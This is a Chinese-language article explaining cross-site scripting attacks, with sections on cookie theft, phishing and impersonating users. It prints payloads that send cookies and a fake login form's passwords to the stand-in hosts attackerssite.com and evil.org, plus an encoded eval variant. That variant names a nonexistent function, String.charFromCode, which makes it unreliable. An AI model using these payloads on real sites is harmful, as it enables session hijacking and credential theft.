跨站脚本攻击深入解析:跨站危害及cookie盗窃(1) |
发布时间: 2012/9/14 18:25:46 |
跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文的上篇中,我们详细介绍了跨站脚本漏洞利用的过程,并对HTML注入进行深入分析;而本文将详细介绍跨站脚本的危害,以及攻击者是如何诱骗受害者的;最后介绍针对跨站脚本攻击的防御措施。 一、跨站脚本的危害 XSS是一种对Web应用程序的用户发动的攻击,利用它攻击者能装扮成被攻击的用户来完全控制Web应用程序,即便Web应用程序位于一个防火墙之后并且攻击者无法直接接触该Web应用程序也是如此。XSS一般不会对用户的机器造成损害,也不会对Web应用程序服务器直接造成破坏。如果成功,攻击者可以做三种事情: 窃取Cookie 在受害用户面前假冒成Web应用程序 在Web应用程序面前假冒成受害用户 二、窃取Cookie Cookie一般控制着对Web应用程序的访问,如果攻击者偷窃了受害用户的Cookie,那么攻击者就可以使用受害者的Cookie来完全控制受害者的帐户。对于Cookie来说,其最佳实践就是让它在一段时间后过期,这样的话攻击者就只能在有限的时间内访问受害者的帐户。可以利用下面的代码来窃取Cookie: var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c=' +document.cookie; 或者像下面这样: document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+ "?c="+document.cookie+"'〉");
如果某些字符是禁止的,则将其转换为ASCII的十进制数,然后使用JavaScript的String.charFromCode()函数即可。下列JavaScript等价于前面的JavaScript: eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109, 97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47, 97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47, 101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43, 100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); 三、钓鱼攻击 通过假冒Web应用程序,攻击者可以将XSS用于社会工程。XSS攻击得手后,攻击者能够完全控制Web应用程序的外观。这可用于丑化web,例如攻击者在页面上放置一个无聊的图片。适于打印的常见图像之一是Stall0wn3d,即你被黑了。 下面是用于这种攻击的HTML注入字符串: 〈script〉document.body.innerHTML="〈img src=http://evil.org/stallown3d.jpg〉";〈/script〉.
然而,控制Web应用程序呈现在受害用户面前的外观比简单显示一些火辣热图更为有利,攻击者可以以此发动钓鱼攻击:强制用户向攻击者提供机密信息。利用document.body.innerHTML,可以提供一个跟有弱点的Web应用程序的登录页面外观完全一样的登录页面,并且该登录页面来自那个被注入HTML的域,但是提交表单时,数据却发往攻击者选择的站点。 因此,当受害用户输入他的或者她的用户名和口令时,这些信息就会落入攻击者手中。代码如下所示: document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form action=http://evil.org/grabPasswords method=get〉 〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password name=p〉〈input type=submit name=login〉〈/form〉"; 使用这段代码的一个小技巧是通过一个GET请求发送表单。这样,攻击者甚至不必编写grabPasswords页面,因为该请求将写到Web服务器的错误信息日志里,这里的信息可以轻松读取。
四、冒充受害者胡作非为 XSS对Web应用程序最大的影响在于,黑客能够通过它假冒成Web应用程序的合法用户。下面是一些攻击者能够对Web应用程序做的一些事情: 以用户的名义发送电子邮件 获取用户的联系人名单 更改自动BCC属性 更改隐私/日志记录设置 在基于 Web 的即时通讯或聊天软件中,攻击者可以: 获取联系人名单 向联系人发送消息 添加/删除联系人 在一个基于 Web 的网络银行或金融系统中,攻击者能够: 划拔资金 申请信用卡 更改地址 在电子商务系统上,攻击者能够: 购买商品 每当分析XSS对站点的影响时,想一想如果他控制了受害者的鼠标和键盘能干什么就行了。考虑一下受害者的内部网中的受害者的计算机能做哪些坏事。要想假冒成用户,攻击者需要弄清Web应用程序是如何工作的。有时候,可以通过阅读页面源代码来达此目的,但是最好的方法是使用一个Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。 这些web 代理会拦截往返于Web 浏览器和Web服务器之间的所有通信数据,甚至包括通过HTTPS传输的流量。您可以记录这些会话以弄明白Web应用程序是向服务器发送回数据的。 这对于弄清楚如何假冒成该应用程序非常有帮助,此外,web 代理对于发现XSS及其他Web应用程序漏洞也有极大的帮助。 本文出自:亿恩科技【www.enkj.com】 |